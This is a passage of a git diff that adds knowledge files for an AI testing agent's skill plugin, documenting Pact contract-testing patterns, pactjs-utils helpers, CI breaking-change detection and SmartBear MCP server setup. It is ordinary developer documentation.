+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(prBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from PR description checkbox).`);
+
+    # Push-to-main path: resolve the merged PR and read the same checkbox.
+    - name: Set PACT_BREAKING_CHANGE from merged PR (push to main)
+      if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const { data: prs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+            owner: context.repo.owner,
+            repo: context.repo.repo,
+            commit_sha: context.sha,
+          });
+          const merged = prs.find(pr => pr.merged_at);
+          const mergedBody = merged?.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(mergedBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from merged PR lookup).`);
+
+    - name: Export result
+      id: result
+      shell: bash
+      run: echo "is_breaking_change=${PACT_BREAKING_CHANGE:-false}" >> "$GITHUB_OUTPUT"
+```
+
+**Key Points**:
+
+- Two separate conditional steps (better CI log readability than single if/else)
+- PR path: reads checkbox directly from PR body
+- Push-to-main path: resolves merged PR via GitHub API, reads same checkbox
+- Exports `PACT_BREAKING_CHANGE` env var for downstream steps
+- `outputs.is_breaking_change` available for consuming workflows
+- Uses a case-insensitive checkbox regex (`/\[\s*[xX]\s*\]\s*Pact breaking change/i`) to detect checked states robustly
+
+---
+
+### Example 7: Consumer Test Using PactV4 Builder
+
+**Context**: Consumer pact test using PactV4 `addInteraction()` builder pattern. The test MUST call **real consumer code** (your actual API client/service functions) against the mock server — not raw `fetch()`. Using `fetch()` directly defeats the purpose of CDC testing because it doesn't verify your actual consumer code works with the contract.
+
+**Implementation**:
+
+The consumer code must expose a way to inject the base URL (e.g., `setApiUrl()`, constructor parameter, or environment variable). This is a prerequisite for contract testing.
+
+```typescript
+// src/api/movie-client.ts — The REAL consumer code (already exists in your project)
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: process.env.API_URL || 'http://localhost:3001',
+});
+
+// Expose a way to override the base URL for Pact testing
+export const setApiUrl = (url: string) => {
+  axiosInstance.defaults.baseURL = url;
+};
+
+export const getMovies = async () => {
+  const res = await axiosInstance.get('/movies');
+  return res.data;
+};
+
+export const getMovieById = async (id: number) => {
+  const res = await axiosInstance.get(`/movies/${id}`);
+  return res.data;
+};
+```
+
+```typescript
+// tests/contract/consumer/get-movies.pacttest.ts
+import { MatchersV3 } from '@pact-foundation/pact';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { createProviderState, setJsonBody, setJsonContent } from '../support/consumer-helpers';
+import { movieExists } from '../support/provider-states';
+import { createPact } from '../support/pact-config';
+// Import REAL consumer code — this is what we're actually testing
+import { getMovies, getMovieById, setApiUrl } from '../../../src/api/movie-client';
+
+const { like, integer, string } = MatchersV3;
+
+const pact = createPact();
+
+describe('Movies API Consumer Contract', () => {
+  const movieWithId = { id: 1, name: 'The Matrix', year: 1999, rating: 8.7, director: 'Wachowskis' };
+
+  it('should get a movie by ID', async () => {
+    const [stateName, stateParams] = createProviderState(movieExists(movieWithId));
+
+    await pact
+      .addInteraction()
+      .given(stateName, stateParams)
+      .uponReceiving('a request to get movie by ID')
+      .withRequest(
+        'GET',
+        '/movies/1',
+        setJsonContent({
+          headers: { Accept: 'application/json' },
+        }),
+      )
+      .willRespondWith(
+        200,
+        setJsonBody(
+          like({
+            id: integer(1),
+            name: string('The Matrix'),
+            year: integer(1999),
+            rating: like(8.7),
+            director: string('Wachowskis'),
+          }),
+        ),
+      )
+      .executeTest(async (mockServer: V3MockServer) => {
+        // Inject mock server URL into the REAL consumer code
+        setApiUrl(mockServer.url);
+
+        // Call the REAL consumer function — this is what CDC testing validates
+        const movie = await getMovieById(1);
+
+        expect(movie.id).toBe(1);
+        expect(movie.name).toBe('The Matrix');
+      });
+  });
+
+  it('should handle movie not found', async () => {
+    await pact
+      .addInteraction()
+      .given('No movies exist')
+      .uponReceiving('a request for a non-existent movie')
+      .withRequest('GET', '/movies/999')
+      .willRespondWith(404, setJsonBody({ error: 'Movie not found' }))
+      .executeTest(async (mockServer: V3MockServer) => {
+        setApiUrl(mockServer.url);
+
+        await expect(getMovieById(999)).rejects.toThrow();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- **CRITICAL**: Always test your REAL consumer code — import and call actual API client functions, never raw `fetch()`
+- Using `fetch()` directly only tests that Pact's mock server works, which is meaningless
+- Consumer code MUST expose a URL injection mechanism: `setApiUrl()`, env var override, or constructor parameter
+- If the consumer code doesn't support URL injection, add it — this is a design prerequisite for CDC testing
+- Use PactV4 `addInteraction()` builder (not PactV3 fluent API with `withRequest({...})` object)
+- **Interaction naming convention**: Use the pattern `"a request to <action> <resource> [<condition>]"` for `uponReceiving()`. Examples: `"a request to get a movie by ID"`, `"a request to delete a non-existing movie"`, `"a request to create a movie that already exists"`. These names appear in Pact Broker UI and verification logs — keep them descriptive and unique within the consumer-provider pair.
+- Use `setJsonContent` for request/response builder callbacks with query/header/body concerns; use `setJsonBody` for body-only response callbacks
+- Provider state factory functions (`movieExists`) return `ProviderStateInput` objects
+- `createProviderState` converts to `[stateName, stateParams]` tuple for `.given()`
+
+**Common URL injection patterns** (pick whichever fits your consumer architecture):
+
+| Pattern              | Example                                      | Best For              |
+| -------------------- | -------------------------------------------- | --------------------- |
+| `setApiUrl(url)`     | Mutates axios instance `baseURL`             | Singleton HTTP client |
+| Constructor param    | `new ApiClient({ baseUrl: mockServer.url })` | Class-based clients   |
+| Environment variable | `process.env.API_URL = mockServer.url`       | Config-driven apps    |
+| Factory function     | `createApi({ baseUrl: mockServer.url })`     | Functional patterns   |
+
+---
+
+### Example 8: Support Files
+
+#### Pact Config Factory
+
+```typescript
+// tests/contract/support/pact-config.ts
+import path from 'node:path';
+import { PactV4 } from '@pact-foundation/pact';
+
+export const createPact = (overrides?: { consumer?: string; provider?: string }) =>
+  new PactV4({
+    dir: path.resolve(process.cwd(), 'pacts'),
+    consumer: overrides?.consumer ?? 'MyConsumerApp',
+    provider: overrides?.provider ?? 'MyProviderAPI',
+    logLevel: 'warn',
+  });
+```
+
+#### Provider State Factories
+
+```typescript
+// tests/contract/support/provider-states.ts
+import type { ProviderStateInput } from './consumer-helpers';
+
+export const movieExists = (movie: { id: number; name: string; year: number; rating: number; director: string }): ProviderStateInput => ({
+  name: 'An existing movie exists',
+  params: movie,
+});
+
+export const hasMovieWithId = (id: number): ProviderStateInput => ({
+  name: 'Has a movie with a specific ID',
+  params: { id },
+});
+```
+
+#### Local Consumer Helpers Shim
+
+```typescript
+// tests/contract/support/consumer-helpers.ts
+// TODO(temporary scaffolding): Replace local TemplateHeaders/TemplateQuery types
+// with '@seontechnologies/pactjs-utils' exports when available.
+
+type TemplateHeaders = Record<string, string | number | boolean>;
+type TemplateQueryValue = string | number | boolean | Array<string | number | boolean>;
+type TemplateQuery = Record<string, TemplateQueryValue>;
+
+export type ProviderStateInput = {
+  name: string;
+  params: Record<string, unknown>;
+};
+
+type JsonMap = { [key: string]: boolean | number | string | null | JsonMap | Array<unknown> };
+type JsonContentBuilder = {
+  headers: (headers: TemplateHeaders) => unknown;
+  jsonBody: (body: unknown) => unknown;
+  query?: (query: TemplateQuery) => unknown;
+};
+
+export type JsonContentInput = {
+  body?: unknown;
+  headers?: TemplateHeaders;
+  query?: TemplateQuery;
+};
+
+export const toJsonMap = (obj: Record<string, unknown>): JsonMap =>
+  Object.fromEntries(
+    Object.entries(obj).map(([key, value]) => {
+      if (value === null || value === undefined) return [key, 'null'];
+      if (typeof value === 'object' && !(value instanceof Date) && !Array.isArray(value)) return [key, JSON.stringify(value)];
+      if (typeof value === 'number' || typeof value === 'boolean') return [key, value];
+      if (value instanceof Date) return [key, value.toISOString()];
+      return [key, String(value)];
+    }),
+  );
+
+export const createProviderState = ({ name, params }: ProviderStateInput): [string, JsonMap] => [name, toJsonMap(params)];
+
+export const setJsonContent =
+  ({ body, headers, query }: JsonContentInput) =>
+  (builder: JsonContentBuilder): void => {
+    if (query && builder.query) {
+      builder.query(query);
+    }
+
+    if (headers) {
+      builder.headers(headers);
+    }
+
+    if (body !== undefined) {
+      builder.jsonBody(body);
+    }
+  };
+
+export const setJsonBody = (body: unknown) => setJsonContent({ body });
+```
+
+**Key Points**:
+
+- If `@seontechnologies/pactjs-utils` is not yet installed, create a local shim that mirrors the API
+- Add a TODO comment noting to swap for the published package when available
+- The shim exports `createProviderState`, `toJsonMap`, `setJsonContent`, `setJsonBody`, and helper input types
+- Keep shim types local (or sourced from public exports only); do not import from internal Pact paths like `@pact-foundation/pact/src/*`
+
+---
+
+### Example 9: .gitignore Entries
+
+**Context**: Pact-specific entries to add to `.gitignore`.
+
+```
+# Pact contract testing artifacts
+/pacts/
+pact-logs/
+```
+
+---
+
+## Validation Checklist
+
+Before presenting the consumer CDC framework to the user, verify:
+
+- [ ] `vitest.config.pact.ts` is minimal (no pool/coverage/setup copied from unit config)
+- [ ] Script names match pactjs-utils (`test:pact:consumer`, `publish:pact`, `can:i:deploy:consumer`, `record:consumer:deployment`)
+- [ ] Scripts source `env-setup.sh` inline in package.json
+- [ ] Shell scripts use `pact-broker` not `npx pact-broker`
+- [ ] Shell scripts use `PACTICIPANT` env var pattern
+- [ ] `can-i-deploy.sh` has `--retry-while-unknown=10 --retry-interval=30`
+- [ ] `record-deployment.sh` has branch guard
+- [ ] `env-setup.sh` uses `set -eu`; broker scripts use `set -euo pipefail` — each with explanatory comment
+- [ ] CI workflow named `contract-test-consumer.yml`
+- [ ] CI has workflow-level env block (not per-step)
+- [ ] CI has `detect-breaking-change` step before install
+- [ ] CI step numbering skips (3) — webhook-triggered provider verification
+- [ ] CI can-i-deploy has `PACT_BREAKING_CHANGE != 'true'` condition
+- [ ] CI has NO upload-artifact step
+- [ ] `.github/actions/detect-breaking-change/action.yml` exists
+- [ ] Consumer tests use `.pacttest.ts` extension
+- [ ] Consumer tests use PactV4 `addInteraction()` builder
+- [ ] `uponReceiving()` names follow `"a request to <action> <resource> [<condition>]"` pattern and are unique within the consumer-provider pair
+- [ ] Interaction callbacks use `setJsonContent` for query/header/body and `setJsonBody` for body-only responses
+- [ ] Request bodies use exact values (no `like()` wrapper) — Postel's Law: be strict in what you send
+- [ ] `like()`, `eachLike()`, `string()`, `integer()` matchers are only used in `willRespondWith` (responses), not in `withRequest` (requests) — matchers check type/shape, not exact values
+- [ ] Consumer tests call REAL consumer code (actual API client functions), NOT raw `fetch()`
+- [ ] Consumer code exposes URL injection mechanism (`setApiUrl()`, env var, or constructor param)
+- [ ] Local consumer-helpers shim present if pactjs-utils not installed
+- [ ] `.gitignore` includes `/pacts/` and `pact-logs/`
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — Library decision tree and installation
+- `pactjs-utils-consumer-helpers.md` — `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` API details
+- `pactjs-utils-provider-verifier.md` — Provider-side verification patterns
+- `pactjs-utils-request-filter.md` — Auth injection for provider verification
+- `contract-testing.md` — Foundational CDC patterns and resilience coverage
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-mcp.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-mcp.md
new file mode 100644
index 0000000..3badcaf
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-mcp.md
@@ -0,0 +1,204 @@
+# Pact MCP Server (SmartBear)
+
+## Principle
+
+Use the SmartBear MCP server to enable AI agent interaction with PactFlow/Pact Broker during contract testing workflows. The MCP server provides tools for generating pact tests, fetching provider states, reviewing test quality, and checking deployment safety — all accessible through the Model Context Protocol.
+
+## Rationale
+
+### Why MCP for contract testing?
+
+- **Live broker queries**: AI agents can fetch existing provider states, verification results, and deployment status directly from PactFlow
+- **Test generation assistance**: MCP tools generate consumer and provider tests based on existing contracts, OpenAPI specs, or templates
+- **Automated review**: MCP-powered review checks tests against best practices without manual inspection
+- **Deployment safety**: `can-i-deploy` checks integrated into agent workflows for real-time compatibility verification
+
+### When TEA uses it
+
+- **test-design workflow**: Fetch existing provider states to understand current contract landscape
+- **automate workflow**: Generate pact tests using broker knowledge and existing contracts
+- **test-review workflow**: Review pact tests against best practices with automated feedback
+- **ci workflow**: Reference can-i-deploy and matrix tools for pipeline guidance
+
+## Available Tools
+
+| #   | Tool                      | Description                                                             | When Used             |
+| --- | ------------------------- | ----------------------------------------------------------------------- | --------------------- |
+| 1   | **Generate Pact Tests**   | Create consumer/provider tests from code, OpenAPI, or templates         | automate workflow     |
+| 2   | **Fetch Provider States** | List all provider states from broker for a given consumer-provider pair | test-design, automate |
+| 3   | **Review Pact Tests**     | Analyze tests against contract testing best practices                   | test-review           |
+| 4   | **Can I Deploy**          | Check deployment safety via broker verification matrix                  | ci workflow           |
+| 5   | **Matrix**                | Query consumer-provider verification matrix                             | ci, test-design       |
+| 6   | **PactFlow AI Status**    | Check AI credits and permissions (PactFlow Cloud only)                  | diagnostics           |
+| 7   | **Metrics - All**         | Workspace-wide contract testing metrics                                 | reporting             |
+| 8   | **Metrics - Team**        | Team-level adoption statistics (PactFlow Cloud only)                    | reporting             |
+
+## Installation
+
+### Config file locations
+
+| Tool              | Global Config File                    | Format                 |
+| ----------------- | ------------------------------------- | ---------------------- |
+| Claude Code       | `~/.claude.json`                      | JSON (`mcpServers`)    |
+| Codex             | `~/.codex/config.toml`                | TOML (`[mcp_servers]`) |
+| Gemini CLI        | `~/.gemini/settings.json`             | JSON (`mcpServers`)    |
+| Cursor            | `~/.cursor/mcp.json`                  | JSON (`mcpServers`)    |
+| Windsurf          | `~/.codeium/windsurf/mcp_config.json` | JSON (`mcpServers`)    |
+| VS Code (Copilot) | `.vscode/mcp.json`                    | JSON (`servers`)       |
+
+> **Claude Code tip**: Prefer the `claude mcp add` CLI over manual JSON editing. Use `-s user` for global (all projects) or omit for per-project (default).
+
+### CLI shortcuts (Claude Code and Codex)
+
+```bash
+# Claude Code — use add-json for servers with env vars (-s user = global)
+claude mcp add-json -s user smartbear \
+  '{"type":"stdio","command":"npx","args":["-y","@smartbear/mcp@latest"],"env":{"PACT_BROKER_BASE_URL":"https://{tenant}.pactflow.io","PACT_BROKER_TOKEN":"<your-token>"}}'
+
+# Codex
+codex mcp add smartbear -- npx -y @smartbear/mcp@latest
+```
+
+### JSON config (Gemini CLI, Cursor, Windsurf)
+
+Add a `"smartbear"` entry to the `mcpServers` object in the config file for your tool:
+
+```json
+{
+  "mcpServers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "<your-api-token>"
+      }
+    }
+  }
+}
+```
+
+### Codex TOML config
+
+Codex uses TOML instead of JSON. Add to `~/.codex/config.toml`:
+
+```toml
+[mcp_servers.smartbear]
+command = "npx"
+args = ["-y", "@smartbear/mcp@latest"]
+
+[mcp_servers.smartbear.env]
+PACT_BROKER_BASE_URL = "https://{tenant}.pactflow.io"
+PACT_BROKER_TOKEN = "<your-api-token>"
+```
+
+Note the key is `mcp_servers` (underscored), not `mcpServers`.
+
+### VS Code (GitHub Copilot)
+
+Add to `.vscode/mcp.json` (note: uses `servers` key, not `mcpServers`):
+
+```json
+{
+  "servers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "${input:pactToken}"
+      }
+    }
+  }
+}
+```
+
+> **Note**: Set either `PACT_BROKER_TOKEN` (for PactFlow) or `PACT_BROKER_USERNAME`+`PACT_BROKER_PASSWORD` (for self-hosted). Leave unused vars empty.
+
+## Required Environment Variables
+
+| Variable               | Required                     | Description                             |
+| ---------------------- | ---------------------------- | --------------------------------------- |
+| `PACT_BROKER_BASE_URL` | Yes (for Pact features)      | PactFlow or self-hosted Pact Broker URL |
+| `PACT_BROKER_TOKEN`    | For PactFlow / token auth    | API token for broker authentication     |
+| `PACT_BROKER_USERNAME` | For basic auth (self-hosted) | Username for basic authentication       |
+| `PACT_BROKER_PASSWORD` | For basic auth (self-hosted) | Password for basic authentication       |
+
+**Authentication**: Use token auth (`PACT_BROKER_TOKEN`) for PactFlow. Use basic auth (`PACT_BROKER_USERNAME` + `PACT_BROKER_PASSWORD`) for self-hosted Pact Broker instances. Only one auth method is needed.
+
+**Requirements**: Node.js 20+
+
+## Pattern Examples
+
+### Example 1: Fetching Provider States During Test Design
+
+When designing contract tests, use MCP to query existing provider states:
+
+```
+# Agent queries SmartBear MCP during test-design workflow:
+# → Fetch Provider States for consumer="movie-web", provider="SampleMoviesAPI"
+# ← Returns: ["movie with id 1 exists", "no movies exist", "user is authenticated"]
+#
+# Agent uses this to generate comprehensive consumer tests covering all states
+```
+
+### Example 2: Reviewing Pact Tests
+
+During test-review workflow, use MCP to evaluate test quality:
+
+```
+# Agent submits test file to SmartBear MCP Review tool:
+# → Review Pact Tests with test file content
+# ← Returns: feedback on matcher usage, state coverage, interaction naming
+#
+# Agent incorporates feedback into review report
+```
+
+### Example 3: Can I Deploy Check in CI
+
+During CI workflow design, reference the can-i-deploy tool:
+
+```
+# Agent generates CI pipeline with can-i-deploy gate:
+# → Can I Deploy: pacticipant="SampleMoviesAPI", version="${GITHUB_SHA}", to="production"
+# ← Returns: { ok: true/false, reason: "..." }
+#
+# Agent designs pipeline to block deployment if can-i-deploy fails
+```
+
+## Key Points
+
+- **Per-project install recommended**: Different projects may target different PactFlow tenants — match TEA's per-project config philosophy
+- **Env vars are project-specific**: `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` vary by project/team
+- **Node.js 20+ required**: SmartBear MCP server requires Node.js 20 or higher
+- **PactFlow Cloud features**: Some tools (AI Status, Team Metrics) are only available with PactFlow Cloud, not self-hosted Pact Broker
+- **Complements pactjs-utils**: MCP provides broker interaction during design/review; pactjs-utils provides runtime utilities for test code
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — runtime utilities that pact tests import
+- `pactjs-utils-provider-verifier.md` — verifier options that reference broker config
+- `contract-testing.md` — foundational contract testing patterns
+
+## Anti-Patterns
+
+### Wrong: Using MCP for runtime test execution
+
+```
+# ❌ Don't use MCP to run pact tests — use npm scripts and CI pipelines
+# MCP is for agent-assisted design, generation, and review
+```
+
+### Right: Use MCP for design-time assistance
+
+```
+# ✅ Use MCP during planning and review:
+# - Fetch provider states to inform test design
+# - Generate test scaffolds from existing contracts
+# - Review tests for best practice compliance
+# - Check can-i-deploy during CI pipeline design
+```
+
+_Source: SmartBear MCP documentation, PactFlow developer docs_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-consumer-helpers.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-consumer-helpers.md
new file mode 100644
index 0000000..b0a1f19
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-consumer-helpers.md
@@ -0,0 +1,270 @@
+# Pact.js Utils Consumer Helpers
+
+## Principle
+
+Use `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` from `@seontechnologies/pactjs-utils` to build type-safe provider state tuples and reusable PactV4 JSON callbacks for consumer contract tests. These helpers eliminate manual `JsonMap` casting and repetitive inline builder lambdas.
+
+## Rationale
+
+### Problems with raw consumer helper handling
+
+- **JsonMap requirement**: Pact's `.given(stateName, params)` requires `params` to be `JsonMap` — a flat object where every value must be `string | number | boolean | null`
+- **Type gymnastics**: Complex params (Date objects, nested objects, null values) require manual casting that TypeScript can't verify
+- **Inconsistent serialization**: Different developers serialize the same data differently (e.g., dates as ISO strings vs timestamps)
+- **Verbose `.given()` calls**: Repeating state name and params inline makes consumer tests harder to read
+- **Repeated interaction callbacks**: PactV4 interactions duplicate inline `(builder) => { ... }` blocks for body/query/header setup
+
+### Solutions
+
+- **`createProviderState`**: Returns a `[string, JsonMap]` tuple that spreads directly into `.given()` — one function handles name and params
+- **`toJsonMap`**: Explicit coercion rules documented and tested — Date→ISO string, null→"null" string, nested objects→JSON string
+- **`setJsonContent`**: Curried callback helper for request/response builders — set `query`, `headers`, and/or `body` from one reusable function
+- **`setJsonBody`**: Body-only shorthand for `setJsonContent({ body })` — ideal for concise `.willRespondWith(...)` bodies
+
+## Pattern Examples
+
+### Example 1: Basic Provider State Creation
+
+```typescript
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'movie-web',
+  provider: 'SampleMoviesAPI',
+  dir: './pacts',
+});
+
+describe('Movie API Contract', () => {
+  it('should return movie by id', async () => {
+    // createProviderState returns [stateName, JsonMap] tuple
+    const providerState = createProviderState({
+      name: 'movie with id 1 exists',
+      params: { id: 1, name: 'Inception', year: 2010 },
+    });
+
+    await provider
+      .given(...providerState) // Spread tuple into .given(name, params)
+      .uponReceiving('a request for movie 1')
+      .withRequest({ method: 'GET', path: '/movies/1' })
+      .willRespondWith({
+        status: 200,
+        body: MatchersV3.like({ id: 1, name: 'Inception', year: 2010 }),
+      })
+      .executeTest(async (mockServer) => {
+        const res = await fetch(`${mockServer.url}/movies/1`);
+        const movie = await res.json();
+        expect(movie.name).toBe('Inception');
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- `createProviderState` accepts `{ name: string, params: Record<string, unknown> }`
+- Both `name` and `params` are required (pass `params: {}` for states without parameters)
+- Returns `[string, JsonMap]` — spread with `...` into `.given()`
+- `params` values are automatically converted to JsonMap-compatible types
+- Works identically with HTTP (`PactV3`) and message (`MessageConsumerPact`) pacts
+
+### Example 2: Complex Parameters with toJsonMap
+
+```typescript
+import { toJsonMap } from '@seontechnologies/pactjs-utils';
+
+// toJsonMap conversion rules:
+// - string, number, boolean → passed through
+// - null → "null" (string)
+// - undefined → "null" (string, same as null)
+// - Date → ISO string (e.g., "2025-01-15T10:00:00.000Z")
+// - nested object → JSON string
+// - array → comma-separated string via String() (e.g., [1,2,3] → "1,2,3")
+
+const params = toJsonMap({
+  id: 42,
+  name: 'John Doe',
+  active: true,
+  score: null,
+  createdAt: new Date('2025-01-15T10:00:00Z'),
+  metadata: { role: 'admin', permissions: ['read', 'write'] },
+});
+
+// Result:
+// {
+//   id: 42,
+//   name: "John Doe",
+//   active: true,
+//   score: "null",
+//   createdAt: "2025-01-15T10:00:00.000Z",
+//   metadata: '{"role":"admin","permissions":["read","write"]}'
+// }
+```
+
+**Key Points**:
+
+- `toJsonMap` is called internally by `createProviderState` — you rarely need it directly
+- Use it when you need explicit control over parameter conversion outside of provider states
+- Conversion rules are deterministic: same input always produces same output
+
+### Example 3: Provider State Without Parameters
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// State without params — second tuple element is empty object
+const emptyState = createProviderState({ name: 'no movies exist', params: {} });
+// Returns: ['no movies exist', {}]
+
+await provider
+  .given(...emptyState)
+  .uponReceiving('a request when no movies exist')
+  .withRequest({ method: 'GET', path: '/movies' })
+  .willRespondWith({ status: 200, body: [] })
+  .executeTest(async (mockServer) => {
+    const res = await fetch(`${mockServer.url}/movies`);
+    const movies = await res.json();
+    expect(movies).toEqual([]);
+  });
+```
+
+### Example 4: Multiple Provider States
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// Some interactions require multiple provider states
+// Call .given() multiple times with different states
+await provider
+  .given(...createProviderState({ name: 'user is authenticated', params: { userId: 1 } }))
+  .given(...createProviderState({ name: 'movie with id 5 exists', params: { id: 5 } }))
+  .uponReceiving('an authenticated request for movie 5')
+  .withRequest({
+    method: 'GET',
+    path: '/movies/5',
+    headers: { Authorization: MatchersV3.like('Bearer token') },
+  })
+  .willRespondWith({ status: 200, body: MatchersV3.like({ id: 5 }) })
+  .executeTest(async (mockServer) => {
+    // test implementation
+  });
+```
+
+### Example 5: When to Use setJsonBody vs setJsonContent
+
+```typescript
+import { MatchersV3 } from '@pact-foundation/pact';
+import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils';
+
+const { integer, string } = MatchersV3;
+
+await pact
+  .addInteraction()
+  .given('movie exists')
+  .uponReceiving('a request to get movie by name')
+  .withRequest(
+    'GET',
+    '/movies',
+    setJsonContent({
+      query: { name: 'Inception' },
+      headers: { Accept: 'application/json' },
+    }),
+  )
+  .willRespondWith(
+    200,
+    setJsonBody({
+      status: 200,
+      data: { id: integer(1), name: string('Inception') },
+    }),
+  );
+```
+
+**Key Points**:
+
+- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders)
+- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form
+- `setJsonBody` is equivalent to `setJsonContent({ body: ... })`
+
+## Key Points
+
+- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)`
+- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required)
+- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement)
+- **Date handling**: Date objects become ISO 8601 strings
+- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them
+- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety
+- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API
+- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders)
+- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable
+- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies.
+- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths).
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-provider-verifier.md` — provider-side state handler implementation
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual JsonMap assembly
+
+```typescript
+// ❌ Manual casting — verbose, error-prone, no type safety
+provider.given('user exists', {
+  id: 1 as unknown as string,
+  createdAt: new Date().toISOString(),
+  metadata: JSON.stringify({ role: 'admin' }),
+} as JsonMap);
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic conversion with type safety
+provider.given(
+  ...createProviderState({
+    name: 'user exists',
+    params: { id: 1, createdAt: new Date(), metadata: { role: 'admin' } },
+  }),
+);
+```
+
+### Wrong: Inline state names without helper
+
+```typescript
+// ❌ Duplicated state names between consumer and provider — easy to mismatch
+provider.given('a user with id 1 exists', { id: '1' });
+// Later in provider: 'user with id 1 exists' — different string!
+```
+
+### Right: Share state constants
+
+```typescript
+// ✅ Define state names as constants shared between consumer and provider
+const STATES = {
+  USER_EXISTS: 'user with id exists',
+  NO_USERS: 'no users exist',
+} as const;
+
+provider.given(...createProviderState({ name: STATES.USER_EXISTS, params: { id: 1 } }));
+```
+
+### Wrong: Repeating inline builder lambdas everywhere
+
+```typescript
+// ❌ Repetitive callback boilerplate in every interaction
+.willRespondWith(200, (builder) => {
+  builder.jsonBody({ status: 200 });
+});
+```
+
+### Right: Use setJsonBody / setJsonContent
+
+```typescript
+// ✅ Reusable callbacks with less boilerplate
+.withRequest('GET', '/movies', setJsonContent({ query: { name: 'Inception' } }))
+.willRespondWith(200, setJsonBody({ status: 200 }));
+```
+
+_Source: @seontechnologies/pactjs-utils consumer-helpers module, pactjs-utils sample-app consumer tests_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-overview.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-overview.md
new file mode 100644
index 0000000..cb330ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-overview.md
@@ -0,0 +1,216 @@
+# Pact.js Utils Overview
+
+## Principle
+
+Use production-ready utilities from `@seontechnologies/pactjs-utils` to eliminate boilerplate in consumer-driven contract testing. The library wraps `@pact-foundation/pact` with type-safe helpers for provider state creation, PactV4 JSON interaction builders, verifier configuration, and request filter injection — working equally well for HTTP and message (async/Kafka) contracts.
+
+## Rationale
+
+### Problems with raw @pact-foundation/pact
+
+- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually casting every value is error-prone and verbose
+- **Repeated builder lambdas**: PactV4 interactions often repeat inline callbacks with `builder.query(...)`, `builder.headers(...)`, and `builder.jsonBody(...)`
+- **Verifier configuration sprawl**: `VerifierOptions` requires 30+ lines of scattered configuration (broker URL, selectors, state handlers, request filters, version tags)
+- **Environment variable juggling**: Different env vars for local vs remote flows, breaking change coordination, payload URL matching
+- **Express middleware types**: Request filter requires Express types that aren't re-exported from Pact
